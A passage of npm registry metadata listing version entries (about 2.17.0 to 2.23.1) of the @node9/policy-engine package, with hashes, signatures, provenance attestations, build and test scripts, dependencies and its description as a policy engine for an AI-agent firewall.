dskKI1ko/pvQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.17.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":568286},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3b3eb3a5bf76f27cad932a4bdc77e67cfd26ef0b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.17.0_1789983421851_0.8954956979386282","host":"s3://npm-registry-packages-npm-production"}},"2.18.0":{"name":"@node9/policy-engine","version":"2.18.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.18.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1a9b69b19f434e56e28ebdf41705efed7026c03f","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.18.0.tgz","fileCount":7,"integrity":"sha512-hOnBznsHL1E3Z3TsJ7vyegK/tCyPbkIclPpMP14OSfgR0FEOwj5NQlMffnOhqNMVBH0swbo4W9aPPvgn9+MMeQ==","signatures":[{"sig":"MEQCIH1Udj3tI2kxr89Dd2KErBnSuBTopA+v9G1uFsT6IMkNAiAoPhaDEwHJTk3Lm9zl59OCKL2Skhr4YWQqK3GoxvdTxw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDGOqeahbNF97vaBljPqtLMH7UG5hdr5WN+sXQjg5RMIgIhAJ8TvP99UNpAz8Q6Pn/7egc784iIHRnwvHSEhSbUHpHn","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.18.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":573708},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"fbe6d369ca1af8692f22b2ba5cf1beb042633893","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.18.0_1789999712977_0.05575980049063611","host":"s3://npm-registry-packages-npm-production"}},"2.19.0":{"name":"@node9/policy-engine","version":"2.19.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.19.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1a9174aa55dd0df1c12942a6980ec61e9f8593bc","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.19.0.tgz","fileCount":7,"integrity":"sha512-vr4y8fxSesOYyILtw3HbXMB+T1gf6/dWfF5h+s63Gl0EYvPm6v8BqhYpDhoa9M38HykzXcY4n88RJkPYtJ5Z1g==","signatures":[{"sig":"MEQCIDezAFtfHFP7tXJhrJsUh8g8mSFYikDdR4F8Fh/XGZQuAiAUcF6/3/+dDFhUSD1GcLo5gKCDMIVTKYgL+rqJo0575A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCZSI9klNHf4jKM4Vi8Un8rl+I97RPxlU1yS0McEOfL2gIgKJ7aiarQXmJDthbVIXmqbfOaYMJDAGSotxHtdqd/pRM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.19.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":573708},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"dd9df5420150f1f224e34e1e4d93c913ff12f401","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.19.0_1790006472415_0.6792975024768242","host":"s3://npm-registry-packages-npm-production"}},"2.19.1":{"name":"@node9/policy-engine","version":"2.19.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.19.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"81b08440bea4c97bf5b279d87aa17765f7a8f0fb","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.19.1.tgz","fileCount":7,"integrity":"sha512-/6k3XOVNcv10sQmNkq9S1HxFWuATq1y/0OxdHTNNejuktriTVbaHtiHV4zprjif9E7m738rLFsFQvhRKxaW8JQ==","signatures":[{"sig":"MEQCIBxQNRuvloJsc+jOj07K0YS0rWGUTutGOcAFO0wOc7WBAiAtEbUxvsHJua4wdnX4/zdJ5AT4N/U/Ck/hPTo/FW2H4w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIB7IdMv28L6IVZzgTeuTQaP80RWF2qk1JKdPiIv1KR+QAiA2ME90olgeBFxP6EETn3ayvOpMgNPwrz5gcKqFnRPd9Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.19.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":573708},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2972a475143b28ff2e4b3ca4d25a2dd1083bcc3b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.19.1_1790076047180_0.4464334689708478","host":"s3://npm-registry-packages-npm-production"}},"2.19.2":{"name":"@node9/policy-engine","version":"2.19.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.19.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f2b1144a7ccd3f54c7bbf74db64fbcb048eddd1a","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.19.2.tgz","fileCount":7,"integrity":"sha512-2iRBTx1lwwCnfygtSaEDaz56GiM+L1EwoYXEmBZ8lks9Oeuj7SI12c8rhTKEf2HO/LvJHqqCq33KnFiCNaBwNw==","signatures":[{"sig":"MEYCIQDej3r61YnCZuERjfwaGvr7WE7XeunNXweHRpbM6gxq3AIhAOPpaKO8HI4xXr6ZyokQjCVicovFnoW25t0BmD40XerF","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCICPpMlphV3Q29s7Ib2+bB0rC3LvrU7KUI9IWn4xv4qv+AiEAxtN6EFzHXL/tdE349FVTQzj+o+BbPiK4S2JAmEMiRNI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.19.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":573708},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3db02ddb288d0c60f7c5c87808bb5c8726fe341e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.19.2_1790087421368_0.5414819635189871","host":"s3://npm-registry-packages-npm-production"}},"2.20.0":{"name":"@node9/policy-engine","version":"2.20.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.20.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1f8e103aa45202408edf46b04d24b29cafad8c34","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.20.0.tgz","fileCount":7,"integrity":"sha512-yQoF7yYKfN4KmHmC7PqcheP6bNkAj4uhSQ7SQ5v2B9HSjmZuyxVEfdyNVLi+t5WiWX4GLJaFIzrThIgL+ljMfw==","signatures":[{"sig":"MEUCIQCN//yHk5+qU400GdykAIa/uq+dgGVoj0XLN576nCdsygIgVH6lkYcp6kJBR+2z/L/JcZxUzE8r4gqlqiZXEiui0xY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCCjGl9MjwyFDuKBkD9/r5pFlUWlbQfKTiC4a8sJgeuwwIgWvETP5N2MwiUNbeH97AIFZAwi6Ooo/1XR04O7OG+YiE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.20.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":574634},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6ee54a335f59e29f7ad7ea2283d16e3cfe6b1044","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.20.0_1790111713157_0.17397596544928784","host":"s3://npm-registry-packages-npm-production"}},"2.21.0":{"name":"@node9/policy-engine","version":"2.21.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.21.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"087a46a8a9be17478cf9bb6d249436ec024fbd06","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.21.0.tgz","fileCount":7,"integrity":"sha512-fZysMhtUuqkMadwvGOog0z9scoHT8kRfOvyyi3qzqW7ZFrPOWRHhS0j+UuthBxKeTGuWp7kPUlu5RQWD3NS2jQ==","signatures":[{"sig":"MEYCIQDvgMIonBg/oPQeSTFAZ9waT5smgeFPFUS11wFG2rXHqAIhAL399r9txabKj8xr9qilQ1ztDtoRyIkEjSvW/g71lU7F","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIGKjmIy1ZSQCqNlEz45j0H8kGiA3MvIzVBL3Rn+dPKY3AiEA+g4Mjr3dtWwwgWjWK/7mAT+kR/FwrHjeHLbr/FjjQhQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.21.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":577154},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"07fe56eb25ecd3af75e946c11c07285177d22edf","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.21.0_1790148860267_0.10275208610330266","host":"s3://npm-registry-packages-npm-production"}},"2.22.0":{"name":"@node9/policy-engine","version":"2.22.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.22.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"349cdd9e42cced619229fbd3fcc78429f798d8a5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.22.0.tgz","fileCount":7,"integrity":"sha512-2pBqGFhn0zlG8Epq7x/PwqAwYuFICTuPcLG10kEfjuHxqPFE3sYzTtl+/22Gq3zQkUzvEDmMUhh2fBew3J6zhg==","signatures":[{"sig":"MEQCICAA5DzzxyMyJUZmBW/q0MfZ1I6vt3DGgq0VTQ3eOMyGAiBlI8yLCfv+xRYF8pCHNoPG06RzgXSpgGUZ5y/b5GRMXw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDeqgefl2X+rL6bnekEc5x+1DLuBDocCF6sDpmpfecFNAIgTamNrfYjg7BOHATRhLpIcp3dtI1KIssdJ2XqUwIkrcM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.22.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":577154},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"dbc62f1ad814532828c2b9e60cbfa81f27c4a5b6","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.22.0_1790245091231_0.7227079543941715","host":"s3://npm-registry-packages-npm-production"}},"2.22.1":{"name":"@node9/policy-engine","version":"2.22.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.22.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b4e6c79772f05f1559f70730463785aa3c90828b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.22.1.tgz","fileCount":7,"integrity":"sha512-DL55J3fN1dCpE2EiW4eSotXf5S535+NJel/SIxM+luItOWNMVtbWhpGgmaToh6Q3xy2K6bJcaZ8RGYEQF8fe7w==","signatures":[{"sig":"MEYCIQDYVI8lRjqtAOzmqDkPYeYcUaO731VDidXRhdF4MvbypAIhAPrfafNd3KFJocS9ypMyhenHdWsQqj06yu8JB37stxat","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCRpeeSgtc77uB88i+cUdHD4ErupbOE15PWqOJgED+qEgIgVsYuD0dvJyzGbMPjdGD/Z6AnSPahToabFMBoI2b14EY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.22.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":577154},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"be4e88f91aa0e2b970c965b7a1ab3a4e9285d212","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.22.1_1790250857989_0.6090429222477822","host":"s3://npm-registry-packages-npm-production"}},"2.23.0":{"name":"@node9/policy-engine","version":"2.23.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.23.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"df8f9019d200731769a9a41f6e464479e1196f89","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.23.0.tgz","fileCount":7,"integrity":"sha512-aTF3rIp7fRVTs+gFMwBvsYUqUjxo3bop9BozgrJP9/JEKGvaJCEeIZxf6p5Xv5ZmAW99XeSJsGnxWg05F+9NDw==","signatures":[{"sig":"MEYCIQCbebFwsK4mZ73SXHbLoBpAeBBneeM7pAtnmDZJLvgndQIhAK7Hg/EG2VYJuSaWa+KxHy22HZRWYFo2bz+2uaQByfDe","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD2z3Lxh72lHAZ+XP9X5r4skzFhojj7flgVG+7G+4Mt3gIhAMmt42nU//CfPX6mlYtpcbDPJo8XdtY79FdEuvrjH9N+","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.23.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"363f5e788639b238f36493e83c0afb60a4599f80","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.23.0_1790273189026_0.835184394835375","host":"s3://npm-registry-packages-npm-production"}},"2.23.1":{"name":"@node9/policy-engine","version":"2.23.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.23.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"cd649c0e1dd1758fd53a41ccf16a8b7109d0eb84","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.23.1.tgz","fileCount":7,"integrity":"sha512-IuAYbZspeQbBpOXfhGvR3LJ1kKWKK21hOYBpg2mI9/HcOBPPnAK0u0w9pCg42wkovbkZ4JiVox5W/7+gSHkNHQ==","signatures":[{"sig":"MEUCIDl24+Lv/1igrDI05X/EF9TPVgpqrbLrNx6OlujZCStSAiEA0bDrNOLIlhYqc5tifqRwuBr0ylnHgmCROws44O3DbNY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDwPbCRmnsHGALy9AEw0wChJcQ+5nb8/8GyM3GeOj9nXgIgamCix7ET7GMQgjw6fHEgPjTM0fPAT/gXYcmERjkRCZ4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.23.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9f01da0bcce0042cfe9492b713bb37ffe27242b7","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS 